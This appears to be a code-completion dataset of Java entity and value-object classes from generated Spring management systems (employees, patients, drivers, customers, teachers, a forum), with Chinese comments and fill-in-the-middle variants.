public int deleteLibraryAuthByIds(Long[] ids,Long operator) {
return libraryAuthMapper.deleteLibraryAuthByIds(ids,operator);
}
/**
* 删除作信息者信息
*
* @param id 作信息者主键
* @return 结果
*/
@Override
public int deleteLibraryAuthById(Long id,Long operator) {
return libraryAuthMapper.deleteLibraryAuthById(id,operator);
}
/**
* 修改状态
*
* @param auth 作者信息
* @return 修改结果
*/
@Override
public int updateUserStatus(LibraryAuth auth){
return libraryAuthMapper.updateLibraryAuth(auth);
}
}
| 0 |
16482_20 | package com.entity.vo;
import com.entity.YuangongEntity;
import com.baomidou.mybatisplus.annotations.TableName;
import java.util.Date;
import org.springframework.format.annotation.DateTimeFormat;
import com.fasterxml.jackson.annotation.JsonFormat;
import java.io.Serializable;
/**
* 员工
* 手机端接口返回实体辅助类
* (主要作用去除一些不必要的字段)
* @author
* @email
* @date 2021-05-07 10:42:31
*/
public class YuangongVO implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 密码
*/
private String mima;
/**
* 员工姓名
*/
private String yuangongxingming;
/**
* 性别
*/
private String xingbie;
/**
* 照片
*/
private String zhaopian;
/**
* 部门
*/
private String bumen;
/**
* 岗位
*/
private String gangwei;
/**
* 联系电话
*/
private String lianxidianhua;
/**
* 员工邮箱
*/
private String yuangongyouxiang;
/**
* 设置:密码
*/
public void setMima(String mima) {
this.mima = mima;
}
/**
* 获取:密码
*/
public String getMima() {
return mima;
}
/**
* 设置:员工姓名
*/
public void setYuangongxingming(String yuangongxingming) {
this.yuangongxingming = yuangongxingming;
}
/**
* 获取:员工姓名
*/
public String getYuangongxingming() {
return yuangongxingming;
}
/**
* 设置:性别
*/
public void setXingbie(String xingbie) {
this.xingbie = xingbie;
}
/**
* 获取:性别
*/
public String getXingbie() {
return xingbie;
}
/**
* 设置:照片
*/
public void setZhaopian(String zhaopian) {
this.zhaopian = zhaopian;
}
/**
* 获取:照片
*/
public String getZhaopian() {
return zhaopian;
}
/**
* 设置:部门
*/
public void setBumen(String bumen) {
this.bumen = bumen;
}
/**
* 获取:部门
*/
public String getBumen() {
return bumen;
}
/**
* 设置:岗位
*/
public void setGangwei(String gangwei) {
this.gangwei = gangwei;
}
/**
* 获取:岗位
*/
public String getGangwei() {
return gangwei;
}
/**
* 设置:联系电话
*/
public void setLianxidianhua(String lianxidianhua) {
this.lianxidianhua = lianxidianhua;
}
/**
* 获取:联系电话
*/
public String getLianxidianhua() {
return lianxidianhua;
}
/**
* 设置:员工邮箱
*/
public void setYuangongyouxiang(String yuangongyouxiang) {
this.yuangongyouxiang = yuangongyouxiang;
}
/**
* 获取:员工邮箱
*/
public String getYuangongyouxiang() {
return yuangongyouxiang;
}
}
| 1120041844/EmployeeAppraisalSystem | src/main/java/com/entity/vo/YuangongVO.java | 979 | /**
* 获取:岗位
*/ | block_comment | zh-cn | package com.entity.vo;
import com.entity.YuangongEntity;
import com.baomidou.mybatisplus.annotations.TableName;
import java.util.Date;
import org.springframework.format.annotation.DateTimeFormat;
import com.fasterxml.jackson.annotation.JsonFormat;
import java.io.Serializable;
/**
* 员工
* 手机端接口返回实体辅助类
* (主要作用去除一些不必要的字段)
* @author
* @email
* @date 2021-05-07 10:42:31
*/
public class YuangongVO implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 密码
*/
private String mima;
/**
* 员工姓名
*/
private String yuangongxingming;
/**
* 性别
*/
private String xingbie;
/**
* 照片
*/
private String zhaopian;
/**
* 部门
*/
private String bumen;
/**
* 岗位
*/
private String gangwei;
/**
* 联系电话
*/
private String lianxidianhua;
/**
* 员工邮箱
*/
private String yuangongyouxiang;
/**
* 设置:密码
*/
public void setMima(String mima) {
this.mima = mima;
}
/**
* 获取:密码
*/
public String getMima() {
return mima;
}
/**
* 设置:员工姓名
*/
public void setYuangongxingming(String yuangongxingming) {
this.yuangongxingming = yuangongxingming;
}
/**
* 获取:员工姓名
*/
public String getYuangongxingming() {
return yuangongxingming;
}
/**
* 设置:性别
*/
public void setXingbie(String xingbie) {
this.xingbie = xingbie;
}
/**
* 获取:性别
*/
public String getXingbie() {
return xingbie;
}
/**
* 设置:照片
*/
public void setZhaopian(String zhaopian) {
this.zhaopian = zhaopian;
}
/**
* 获取:照片
*/
public String getZhaopian() {
return zhaopian;
}
/**
* 设置:部门
*/
public void setBumen(String bumen) {
this.bumen = bumen;
}
/**
* 获取:部门
*/
public String getBumen() {
return bumen;
}
/**
* 设置:岗位
*/
public void setGangwei(String gangwei) {
this.gangwei = gangwei;
}
/**
* 获取: <SUF>*/
public String getGangwei() {
return gangwei;
}
/**
* 设置:联系电话
*/
public void setLianxidianhua(String lianxidianhua) {
this.lianxidianhua = lianxidianhua;
}
/**
* 获取:联系电话
*/
public String getLianxidianhua() {
return lianxidianhua;
}
/**
* 设置:员工邮箱
*/
public void setYuangongyouxiang(String yuangongyouxiang) {
this.yuangongyouxiang = yuangongyouxiang;
}
/**
* 获取:员工邮箱
*/
public String getYuangongyouxiang() {
return yuangongyouxiang;
}
}
| 0 |
40215_7 | package com.entity.model;
import com.entity.ForumEntity;
import com.baomidou.mybatisplus.annotations.TableName;
import java.util.Date;
import org.springframework.format.annotation.DateTimeFormat;
import com.fasterxml.jackson.annotation.JsonFormat;
import java.io.Serializable;
/**
* 健康论坛
* 接收传参的实体类
*(实际开发中配合移动端接口开发手动去掉些没用的字段, 后端一般用entity就够用了)
* 取自ModelAndView 的model名称
* @author
* @email
* @date 2021-04-24 10:41:30
*/
public class ForumModel implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 帖子内容
*/
private String content;
/**
* 父节点id
*/
private Long parentid;
/**
* 用户id
*/
private Long userid;
/**
* 用户名
*/
private String username;
/**
* 状态
*/
private String isdone;
/**
* 设置:帖子内容
*/
public void setContent(String content) {
this.content = content;
}
/**
* 获取:帖子内容
*/
public String getContent() {
return content;
}
/**
* 设置:父节点id
*/
public void setParentid(Long parentid) {
this.parentid = parentid;
}
/**
* 获取:父节点id
*/
public Long getParentid() {
return parentid;
}
/**
* 设置:用户id
*/
public void setUserid(Long userid) {
this.userid = userid;
}
/**
* 获取:用户id
*/
public Long getUserid() {
return userid;
}
/**
* 设置:用户名
*/
public void setUsername(String username) {
this.username = username;
}
/**
* 获取:用户名
*/
public String getUsername() {
return username;
}
/**
* 设置:状态
*/
public void setIsdone(String isdone) {
this.isdone = isdone;
}
/**
* 获取:状态
*/
public String getIsdone() {
return isdone;
}
}
| 1120041844/HealthSystem | src/main/java/com/entity/model/ForumModel.java | 600 | /**
* 获取:帖子内容
*/ | block_comment | zh-cn | package com.entity.model;
import com.entity.ForumEntity;
import com.baomidou.mybatisplus.annotations.TableName;
import java.util.Date;
import org.springframework.format.annotation.DateTimeFormat;
import com.fasterxml.jackson.annotation.JsonFormat;
import java.io.Serializable;
/**
* 健康论坛
* 接收传参的实体类
*(实际开发中配合移动端接口开发手动去掉些没用的字段, 后端一般用entity就够用了)
* 取自ModelAndView 的model名称
* @author
* @email
* @date 2021-04-24 10:41:30
*/
public class ForumModel implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 帖子内容
*/
private String content;
/**
* 父节点id
*/
private Long parentid;
/**
* 用户id
*/
private Long userid;
/**
* 用户名
*/
private String username;
/**
* 状态
*/
private String isdone;
/**
* 设置:帖子内容
*/
public void setContent(String content) {
this.content = content;
}
/**
* 获取: <SUF>*/
public String getContent() {
return content;
}
/**
* 设置:父节点id
*/
public void setParentid(Long parentid) {
this.parentid = parentid;
}
/**
* 获取:父节点id
*/
public Long getParentid() {
return parentid;
}
/**
* 设置:用户id
*/
public void setUserid(Long userid) {
this.userid = userid;
}
/**
* 获取:用户id
*/
public Long getUserid() {
return userid;
}
/**
* 设置:用户名
*/
public void setUsername(String username) {
this.username = username;
}
/**
* 获取:用户名
*/
public String getUsername() {
return username;
}
/**
* 设置:状态
*/
public void setIsdone(String isdone) {
this.isdone = isdone;
}
/**
* 获取:状态
*/
public String getIsdone() {
return isdone;
}
}
| 0 |
44628_27 | package com.entity.vo;
import com.entity.BingrenbingliEntity;
import com.baomidou.mybatisplus.annotations.TableName;
import java.util.Date;
import org.springframework.format.annotation.DateTimeFormat;
import com.fasterxml.jackson.annotation.JsonFormat;
import java.io.Serializable;
/**
* 病人病历
* 手机端接口返回实体辅助类
* (主要作用去除一些不必要的字段)
* @author
* @email
* @date 2021-04-20 11:48:28
*/
public class BingrenbingliVO implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 姓名
*/
private String xingming;
/**
* 医院编号
*/
private String yiyuanbianhao;
/**
* 性别
*/
private String xingbie;
/**
* 婚姻
*/
private String hunyin;
/**
* 年龄
*/
private String nianling;
/**
* 现住地址
*/
private String xianzhudizhi;
/**
* 入院日期
*/
private String ruyuanriqi;
/**
* 主诉
*/
private String zhusu;
/**
* 现病史
*/
private String xianbingshi;
/**
* 既往史
*/
private String jiwangshi;
/**
* 个人史
*/
private String gerenshi;
/**
* 家族史
*/
private String jiazushi;
/**
* 体格检查
*/
private String tigejiancha;
/**
* 病历摘要
*/
private String binglizhaiyao;
/**
* 初步诊断
*/
private String chubuzhenduan;
/**
* 医生账号
*/
private String yishengzhanghao;
/**
* 医生姓名
*/
private String yishengxingming;
/**
* 设置:姓名
*/
public void setXingming(String xingming) {
this.xingming = xingming;
}
/**
* 获取:姓名
*/
public String getXingming() {
return xingming;
}
/**
* 设置:医院编号
*/
public void setYiyuanbianhao(String yiyuanbianhao) {
this.yiyuanbianhao = yiyuanbianhao;
}
/**
* 获取:医院编号
*/
public String getYiyuanbianhao() {
return yiyuanbianhao;
}
/**
* 设置:性别
*/
public void setXingbie(String xingbie) {
this.xingbie = xingbie;
}
/**
* 获取:性别
*/
public String getXingbie() {
return xingbie;
}
/**
* 设置:婚姻
*/
public void setHunyin(String hunyin) {
this.hunyin = hunyin;
}
/**
* 获取:婚姻
*/
public String getHunyin() {
return hunyin;
}
/**
* 设置:年龄
*/
public void setNianling(String nianling) {
this.nianling = nianling;
}
/**
* 获取:年龄
*/
public String getNianling() {
return nianling;
}
/**
* 设置:现住地址
*/
public void setXianzhudizhi(String xianzhudizhi) {
this.xianzhudizhi = xianzhudizhi;
}
/**
* 获取:现住地址
*/
public String getXianzhudizhi() {
return xianzhudizhi;
}
/**
* 设置:入院日期
*/
public void setRuyuanriqi(String ruyuanriqi) {
this.ruyuanriqi = ruyuanriqi;
}
/**
* 获取:入院日期
*/
public String getRuyuanriqi() {
return ruyuanriqi;
}
/**
* 设置:主诉
*/
public void setZhusu(String zhusu) {
this.zhusu = zhusu;
}
/**
* 获取:主诉
*/
public String getZhusu() {
return zhusu;
}
/**
* 设置:现病史
*/
public void setXianbingshi(String xianbingshi) {
this.xianbingshi = xianbingshi;
}
/**
* 获取:现病史
*/
public String getXianbingshi() {
return xianbingshi;
}
/**
* 设置:既往史
*/
public void setJiwangshi(String jiwangshi) {
this.jiwangshi = jiwangshi;
}
/**
* 获取:既往史
*/
public String getJiwangshi() {
return jiwangshi;
}
/**
* 设置:个人史
*/
public void setGerenshi(String gerenshi) {
this.gerenshi = gerenshi;
}
/**
* 获取:个人史
*/
public String getGerenshi() {
return gerenshi;
}
/**
* 设置:家族史
*/
public void setJiazushi(String jiazushi) {
this.jiazushi = jiazushi;
}
/**
* 获取:家族史
*/
public String getJiazushi() {
return jiazushi;
}
/**
* 设置:体格检查
*/
public void setTigejiancha(String tigejiancha) {
this.tigejiancha = tigejiancha;
}
/**
* 获取:体格检查
*/
public String getTigejiancha() {
return tigejiancha;
}
/**
* 设置:病历摘要
*/
public void setBinglizhaiyao(String binglizhaiyao) {
this.binglizhaiyao = binglizhaiyao;
}
/**
* 获取:病历摘要
*/
public String getBinglizhaiyao() {
return binglizhaiyao;
}
/**
* 设置:初步诊断
*/
public void setChubuzhenduan(String chubuzhenduan) {
this.chubuzhenduan = chubuzhenduan;
}
/**
* 获取:初步诊断
*/
public String getChubuzhenduan() {
return chubuzhenduan;
}
/**
* 设置:医生账号
*/
public void setYishengzhanghao(String yishengzhanghao) {
this.yishengzhanghao = yishengzhanghao;
}
/**
* 获取:医生账号
*/
public String getYishengzhanghao() {
return yishengzhanghao;
}
/**
* 设置:医生姓名
*/
public void setYishengxingming(String yishengxingming) {
this.yishengxingming = yishengxingming;
}
/**
* 获取:医生姓名
*/
public String getYishengxingming() {
return yishengxingming;
}
}
| 1120041844/MedicalRecordInteractionSystem | src/main/java/com/entity/vo/BingrenbingliVO.java | 1,955 | /**
* 获取:年龄
*/ | block_comment | zh-cn | package com.entity.vo;
import com.entity.BingrenbingliEntity;
import com.baomidou.mybatisplus.annotations.TableName;
import java.util.Date;
import org.springframework.format.annotation.DateTimeFormat;
import com.fasterxml.jackson.annotation.JsonFormat;
import java.io.Serializable;
/**
* 病人病历
* 手机端接口返回实体辅助类
* (主要作用去除一些不必要的字段)
* @author
* @email
* @date 2021-04-20 11:48:28
*/
public class BingrenbingliVO implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 姓名
*/
private String xingming;
/**
* 医院编号
*/
private String yiyuanbianhao;
/**
* 性别
*/
private String xingbie;
/**
* 婚姻
*/
private String hunyin;
/**
* 年龄
*/
private String nianling;
/**
* 现住地址
*/
private String xianzhudizhi;
/**
* 入院日期
*/
private String ruyuanriqi;
/**
* 主诉
*/
private String zhusu;
/**
* 现病史
*/
private String xianbingshi;
/**
* 既往史
*/
private String jiwangshi;
/**
* 个人史
*/
private String gerenshi;
/**
* 家族史
*/
private String jiazushi;
/**
* 体格检查
*/
private String tigejiancha;
/**
* 病历摘要
*/
private String binglizhaiyao;
/**
* 初步诊断
*/
private String chubuzhenduan;
/**
* 医生账号
*/
private String yishengzhanghao;
/**
* 医生姓名
*/
private String yishengxingming;
/**
* 设置:姓名
*/
public void setXingming(String xingming) {
this.xingming = xingming;
}
/**
* 获取:姓名
*/
public String getXingming() {
return xingming;
}
/**
* 设置:医院编号
*/
public void setYiyuanbianhao(String yiyuanbianhao) {
this.yiyuanbianhao = yiyuanbianhao;
}
/**
* 获取:医院编号
*/
public String getYiyuanbianhao() {
return yiyuanbianhao;
}
/**
* 设置:性别
*/
public void setXingbie(String xingbie) {
this.xingbie = xingbie;
}
/**
* 获取:性别
*/
public String getXingbie() {
return xingbie;
}
/**
* 设置:婚姻
*/
public void setHunyin(String hunyin) {
this.hunyin = hunyin;
}
/**
* 获取:婚姻
*/
public String getHunyin() {
return hunyin;
}
/**
* 设置:年龄
*/
public void setNianling(String nianling) {
this.nianling = nianling;
}
/**
* 获取: <SUF>*/
public String getNianling() {
return nianling;
}
/**
* 设置:现住地址
*/
public void setXianzhudizhi(String xianzhudizhi) {
this.xianzhudizhi = xianzhudizhi;
}
/**
* 获取:现住地址
*/
public String getXianzhudizhi() {
return xianzhudizhi;
}
/**
* 设置:入院日期
*/
public void setRuyuanriqi(String ruyuanriqi) {
this.ruyuanriqi = ruyuanriqi;
}
/**
* 获取:入院日期
*/
public String getRuyuanriqi() {
return ruyuanriqi;
}
/**
* 设置:主诉
*/
public void setZhusu(String zhusu) {
this.zhusu = zhusu;
}
/**
* 获取:主诉
*/
public String getZhusu() {
return zhusu;
}
/**
* 设置:现病史
*/
public void setXianbingshi(String xianbingshi) {
this.xianbingshi = xianbingshi;
}
/**
* 获取:现病史
*/
public String getXianbingshi() {
return xianbingshi;
}
/**
* 设置:既往史
*/
public void setJiwangshi(String jiwangshi) {
this.jiwangshi = jiwangshi;
}
/**
* 获取:既往史
*/
public String getJiwangshi() {
return jiwangshi;
}
/**
* 设置:个人史
*/
public void setGerenshi(String gerenshi) {
this.gerenshi = gerenshi;
}
/**
* 获取:个人史
*/
public String getGerenshi() {
return gerenshi;
}
/**
* 设置:家族史
*/
public void setJiazushi(String jiazushi) {
this.jiazushi = jiazushi;
}
/**
* 获取:家族史
*/
public String getJiazushi() {
return jiazushi;
}
/**
* 设置:体格检查
*/
public void setTigejiancha(String tigejiancha) {
this.tigejiancha = tigejiancha;
}
/**
* 获取:体格检查
*/
public String getTigejiancha() {
return tigejiancha;
}
/**
* 设置:病历摘要
*/
public void setBinglizhaiyao(String binglizhaiyao) {
this.binglizhaiyao = binglizhaiyao;
}
/**
* 获取:病历摘要
*/
public String getBinglizhaiyao() {
return binglizhaiyao;
}
/**
* 设置:初步诊断
*/
public void setChubuzhenduan(String chubuzhenduan) {
this.chubuzhenduan = chubuzhenduan;
}
/**
* 获取:初步诊断
*/
public String getChubuzhenduan() {
return chubuzhenduan;
}
/**
* 设置:医生账号
*/
public void setYishengzhanghao(String yishengzhanghao) {
this.yishengzhanghao = yishengzhanghao;
}
/**
* 获取:医生账号
*/
public String getYishengzhanghao() {
return yishengzhanghao;
}
/**
* 设置:医生姓名
*/
public void setYishengxingming(String yishengxingming) {
this.yishengxingming = yishengxingming;
}
/**
* 获取:医生姓名
*/
public String getYishengxingming() {
return yishengxingming;
}
}
| 0 |
59350_7 | package com.entity.vo;
import com.entity.SijiEntity;
import com.baomidou.mybatisplus.annotations.TableName;
import com.fasterxml.jackson.annotation.JsonFormat;
import java.util.Date;
import org.springframework.format.annotation.DateTimeFormat;
import java.io.Serializable;
/**
* 司机
* 手机端接口返回实体辅助类
* (主要作用去除一些不必要的字段)
* @author
* @email
* @date 2021-04-21 21:07:30
*/
public class SijiVO implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 密码
*/
private String mima;
/**
* 司机姓名
*/
private String sijixingming;
/**
* 年龄
*/
private Integer nianling;
/**
* 性别
*/
private String xingbie;
/**
* 驾龄
*/
private Integer jialing;
/**
* 车牌号
*/
private String chepaihao;
/**
* 车辆品牌
*/
private String cheliangpinpai;
/**
* 货车类型
*/
private String huocheleixing;
/**
* 司机电话
*/
private String sijidianhua;
/**
* 照片
*/
private String zhaopian;
/**
* 设置:密码
*/
public void setMima(String mima) {
this.mima = mima;
}
/**
* 获取:密码
*/
public String getMima() {
return mima;
}
/**
* 设置:司机姓名
*/
public void setSijixingming(String sijixingming) {
this.sijixingming = sijixingming;
}
/**
* 获取:司机姓名
*/
public String getSijixingming() {
return sijixingming;
}
/**
* 设置:年龄
*/
public void setNianling(Integer nianling) {
this.nianling = nianling;
}
/**
* 获取:年龄
*/
public Integer getNianling() {
return nianling;
}
/**
* 设置:性别
*/
public void setXingbie(String xingbie) {
this.xingbie = xingbie;
}
/**
* 获取:性别
*/
public String getXingbie() {
return xingbie;
}
/**
* 设置:驾龄
*/
public void setJialing(Integer jialing) {
this.jialing = jialing;
}
/**
* 获取:驾龄
*/
public Integer getJialing() {
return jialing;
}
/**
* 设置:车牌号
*/
public void setChepaihao(String chepaihao) {
this.chepaihao = chepaihao;
}
/**
* 获取:车牌号
*/
public String getChepaihao() {
return chepaihao;
}
/**
* 设置:车辆品牌
*/
public void setCheliangpinpai(String cheliangpinpai) {
this.cheliangpinpai = cheliangpinpai;
}
/**
* 获取:车辆品牌
*/
public String getCheliangpinpai() {
return cheliangpinpai;
}
/**
* 设置:货车类型
*/
public void setHuocheleixing(String huocheleixing) {
this.huocheleixing = huocheleixing;
}
/**
* 获取:货车类型
*/
public String getHuocheleixing() {
return huocheleixing;
}
/**
* 设置:司机电话
*/
public void setSijidianhua(String sijidianhua) {
this.sijidianhua = sijidianhua;
}
/**
* 获取:司机电话
*/
public String getSijidianhua() {
return sijidianhua;
}
/**
* 设置:照片
*/
public void setZhaopian(String zhaopian) {
this.zhaopian = zhaopian;
}
/**
* 获取:照片
*/
public String getZhaopian() {
return zhaopian;
}
}
| 1120041844/MovingAppointmentSystem | src/main/java/com/entity/vo/SijiVO.java | 1,194 | /**
* 车辆品牌
*/ | block_comment | zh-cn | package com.entity.vo;
import com.entity.SijiEntity;
import com.baomidou.mybatisplus.annotations.TableName;
import com.fasterxml.jackson.annotation.JsonFormat;
import java.util.Date;
import org.springframework.format.annotation.DateTimeFormat;
import java.io.Serializable;
/**
* 司机
* 手机端接口返回实体辅助类
* (主要作用去除一些不必要的字段)
* @author
* @email
* @date 2021-04-21 21:07:30
*/
public class SijiVO implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 密码
*/
private String mima;
/**
* 司机姓名
*/
private String sijixingming;
/**
* 年龄
*/
private Integer nianling;
/**
* 性别
*/
private String xingbie;
/**
* 驾龄
*/
private Integer jialing;
/**
* 车牌号
*/
private String chepaihao;
/**
* 车辆品 <SUF>*/
private String cheliangpinpai;
/**
* 货车类型
*/
private String huocheleixing;
/**
* 司机电话
*/
private String sijidianhua;
/**
* 照片
*/
private String zhaopian;
/**
* 设置:密码
*/
public void setMima(String mima) {
this.mima = mima;
}
/**
* 获取:密码
*/
public String getMima() {
return mima;
}
/**
* 设置:司机姓名
*/
public void setSijixingming(String sijixingming) {
this.sijixingming = sijixingming;
}
/**
* 获取:司机姓名
*/
public String getSijixingming() {
return sijixingming;
}
/**
* 设置:年龄
*/
public void setNianling(Integer nianling) {
this.nianling = nianling;
}
/**
* 获取:年龄
*/
public Integer getNianling() {
return nianling;
}
/**
* 设置:性别
*/
public void setXingbie(String xingbie) {
this.xingbie = xingbie;
}
/**
* 获取:性别
*/
public String getXingbie() {
return xingbie;
}
/**
* 设置:驾龄
*/
public void setJialing(Integer jialing) {
this.jialing = jialing;
}
/**
* 获取:驾龄
*/
public Integer getJialing() {
return jialing;
}
/**
* 设置:车牌号
*/
public void setChepaihao(String chepaihao) {
this.chepaihao = chepaihao;
}
/**
* 获取:车牌号
*/
public String getChepaihao() {
return chepaihao;
}
/**
* 设置:车辆品牌
*/
public void setCheliangpinpai(String cheliangpinpai) {
this.cheliangpinpai = cheliangpinpai;
}
/**
* 获取:车辆品牌
*/
public String getCheliangpinpai() {
return cheliangpinpai;
}
/**
* 设置:货车类型
*/
public void setHuocheleixing(String huocheleixing) {
this.huocheleixing = huocheleixing;
}
/**
* 获取:货车类型
*/
public String getHuocheleixing() {
return huocheleixing;
}
/**
* 设置:司机电话
*/
public void setSijidianhua(String sijidianhua) {
this.sijidianhua = sijidianhua;
}
/**
* 获取:司机电话
*/
public String getSijidianhua() {
return sijidianhua;
}
/**
* 设置:照片
*/
public void setZhaopian(String zhaopian) {
this.zhaopian = zhaopian;
}
/**
* 获取:照片
*/
public String getZhaopian() {
return zhaopian;
}
}
| 0 |
16487_17 | package com.entity.vo;
import com.entity.KehuEntity;
import com.baomidou.mybatisplus.annotations.TableName;
import java.util.Date;
import org.springframework.format.annotation.DateTimeFormat;
import com.fasterxml.jackson.annotation.JsonFormat;
import java.io.Serializable;
/**
* 客户
* 手机端接口返回实体辅助类
* (主要作用去除一些不必要的字段)
* @author
* @email
* @date 2021-04-23 10:20:09
*/
public class KehuVO implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 密码
*/
private String mima;
/**
* 姓名
*/
private String xingming;
/**
* 性别
*/
private String xingbie;
/**
* 年龄
*/
private Integer nianling;
/**
* 手机
*/
private String shouji;
/**
* 邮箱
*/
private String youxiang;
/**
* 家庭住址
*/
private String jiatingzhuzhi;
/**
* 缴费情况
*/
private String jiaofeiqingkuang;
/**
* 房屋信息
*/
private String fangwuxinxi;
/**
* 房产资料
*/
private String fangchanziliao;
/**
* 照片
*/
private String zhaopian;
/**
* 设置:密码
*/
public void setMima(String mima) {
this.mima = mima;
}
/**
* 获取:密码
*/
public String getMima() {
return mima;
}
/**
* 设置:姓名
*/
public void setXingming(String xingming) {
this.xingming = xingming;
}
/**
* 获取:姓名
*/
public String getXingming() {
return xingming;
}
/**
* 设置:性别
*/
public void setXingbie(String xingbie) {
this.xingbie = xingbie;
}
/**
* 获取:性别
*/
public String getXingbie() {
return xingbie;
}
/**
* 设置:年龄
*/
public void setNianling(Integer nianling) {
this.nianling = nianling;
}
/**
* 获取:年龄
*/
public Integer getNianling() {
return nianling;
}
/**
* 设置:手机
*/
public void setShouji(String shouji) {
this.shouji = shouji;
}
/**
* 获取:手机
*/
public String getShouji() {
return shouji;
}
/**
* 设置:邮箱
*/
public void setYouxiang(String youxiang) {
this.youxiang = youxiang;
}
/**
* 获取:邮箱
*/
public String getYouxiang() {
return youxiang;
}
/**
* 设置:家庭住址
*/
public void setJiatingzhuzhi(String jiatingzhuzhi) {
this.jiatingzhuzhi = jiatingzhuzhi;
}
/**
* 获取:家庭住址
*/
public String getJiatingzhuzhi() {
return jiatingzhuzhi;
}
/**
* 设置:缴费情况
*/
public void setJiaofeiqingkuang(String jiaofeiqingkuang) {
this.jiaofeiqingkuang = jiaofeiqingkuang;
}
/**
* 获取:缴费情况
*/
public String getJiaofeiqingkuang() {
return jiaofeiqingkuang;
}
/**
* 设置:房屋信息
*/
public void setFangwuxinxi(String fangwuxinxi) {
this.fangwuxinxi = fangwuxinxi;
}
/**
* 获取:房屋信息
*/
public String getFangwuxinxi() {
return fangwuxinxi;
}
/**
* 设置:房产资料
*/
public void setFangchanziliao(String fangchanziliao) {
this.fangchanziliao = fangchanziliao;
}
/**
* 获取:房产资料
*/
public String getFangchanziliao() {
return fangchanziliao;
}
/**
* 设置:照片
*/
public void setZhaopian(String zhaopian) {
this.zhaopian = zhaopian;
}
/**
* 获取:照片
*/
public String getZhaopian() {
return zhaopian;
}
}
| 1120041844/SmartCommunitySystem | src/main/java/com/entity/vo/KehuVO.java | 1,287 | /**
* 获取:性别
*/ | block_comment | zh-cn | package com.entity.vo;
import com.entity.KehuEntity;
import com.baomidou.mybatisplus.annotations.TableName;
import java.util.Date;
import org.springframework.format.annotation.DateTimeFormat;
import com.fasterxml.jackson.annotation.JsonFormat;
import java.io.Serializable;
/**
* 客户
* 手机端接口返回实体辅助类
* (主要作用去除一些不必要的字段)
* @author
* @email
* @date 2021-04-23 10:20:09
*/
public class KehuVO implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 密码
*/
private String mima;
/**
* 姓名
*/
private String xingming;
/**
* 性别
*/
private String xingbie;
/**
* 年龄
*/
private Integer nianling;
/**
* 手机
*/
private String shouji;
/**
* 邮箱
*/
private String youxiang;
/**
* 家庭住址
*/
private String jiatingzhuzhi;
/**
* 缴费情况
*/
private String jiaofeiqingkuang;
/**
* 房屋信息
*/
private String fangwuxinxi;
/**
* 房产资料
*/
private String fangchanziliao;
/**
* 照片
*/
private String zhaopian;
/**
* 设置:密码
*/
public void setMima(String mima) {
this.mima = mima;
}
/**
* 获取:密码
*/
public String getMima() {
return mima;
}
/**
* 设置:姓名
*/
public void setXingming(String xingming) {
this.xingming = xingming;
}
/**
* 获取:姓名
*/
public String getXingming() {
return xingming;
}
/**
* 设置:性别
*/
public void setXingbie(String xingbie) {
this.xingbie = xingbie;
}
/**
* 获取: <SUF>*/
public String getXingbie() {
return xingbie;
}
/**
* 设置:年龄
*/
public void setNianling(Integer nianling) {
this.nianling = nianling;
}
/**
* 获取:年龄
*/
public Integer getNianling() {
return nianling;
}
/**
* 设置:手机
*/
public void setShouji(String shouji) {
this.shouji = shouji;
}
/**
* 获取:手机
*/
public String getShouji() {
return shouji;
}
/**
* 设置:邮箱
*/
public void setYouxiang(String youxiang) {
this.youxiang = youxiang;
}
/**
* 获取:邮箱
*/
public String getYouxiang() {
return youxiang;
}
/**
* 设置:家庭住址
*/
public void setJiatingzhuzhi(String jiatingzhuzhi) {
this.jiatingzhuzhi = jiatingzhuzhi;
}
/**
* 获取:家庭住址
*/
public String getJiatingzhuzhi() {
return jiatingzhuzhi;
}
/**
* 设置:缴费情况
*/
public void setJiaofeiqingkuang(String jiaofeiqingkuang) {
this.jiaofeiqingkuang = jiaofeiqingkuang;
}
/**
* 获取:缴费情况
*/
public String getJiaofeiqingkuang() {
return jiaofeiqingkuang;
}
/**
* 设置:房屋信息
*/
public void setFangwuxinxi(String fangwuxinxi) {
this.fangwuxinxi = fangwuxinxi;
}
/**
* 获取:房屋信息
*/
public String getFangwuxinxi() {
return fangwuxinxi;
}
/**
* 设置:房产资料
*/
public void setFangchanziliao(String fangchanziliao) {
this.fangchanziliao = fangchanziliao;
}
/**
* 获取:房产资料
*/
public String getFangchanziliao() {
return fangchanziliao;
}
/**
* 设置:照片
*/
public void setZhaopian(String zhaopian) {
this.zhaopian = zhaopian;
}
/**
* 获取:照片
*/
public String getZhaopian() {
return zhaopian;
}
}
| 0 |
16480_21 | package com.entity.vo;
import com.entity.JiaoshiEntity;
import com.baomidou.mybatisplus.annotations.TableName;
import java.util.Date;
import org.springframework.format.annotation.DateTimeFormat;
import com.fasterxml.jackson.annotation.JsonFormat;
import java.io.Serializable;
/**
* 教师
* 手机端接口返回实体辅助类
* (主要作用去除一些不必要的字段)
* @author
* @email
* @date 2021-04-29 10:40:57
*/
public class JiaoshiVO implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 密码
*/
private String mima;
/**
* 教师姓名
*/
private String jiaoshixingming;
/**
* 性别
*/
private String xingbie;
/**
* 照片
*/
private String zhaopian;
/**
* 院系
*/
private String yuanxi;
/**
* 班级
*/
private String banji;
/**
* 职称
*/
private String zhicheng;
/**
* 联系电话
*/
private String lianxidianhua;
/**
* 教师邮箱
*/
private String jiaoshiyouxiang;
/**
* 设置:密码
*/
public void setMima(String mima) {
this.mima = mima;
}
/**
* 获取:密码
*/
public String getMima() {
return mima;
}
/**
* 设置:教师姓名
*/
public void setJiaoshixingming(String jiaoshixingming) {
this.jiaoshixingming = jiaoshixingming;
}
/**
* 获取:教师姓名
*/
public String getJiaoshixingming() {
return jiaoshixingming;
}
/**
* 设置:性别
*/
public void setXingbie(String xingbie) {
this.xingbie = xingbie;
}
/**
* 获取:性别
*/
public String getXingbie() {
return xingbie;
}
/**
* 设置:照片
*/
public void setZhaopian(String zhaopian) {
this.zhaopian = zhaopian;
}
/**
* 获取:照片
*/
public String getZhaopian() {
return zhaopian;
}
/**
* 设置:院系
*/
public void setYuanxi(String yuanxi) {
this.yuanxi = yuanxi;
}
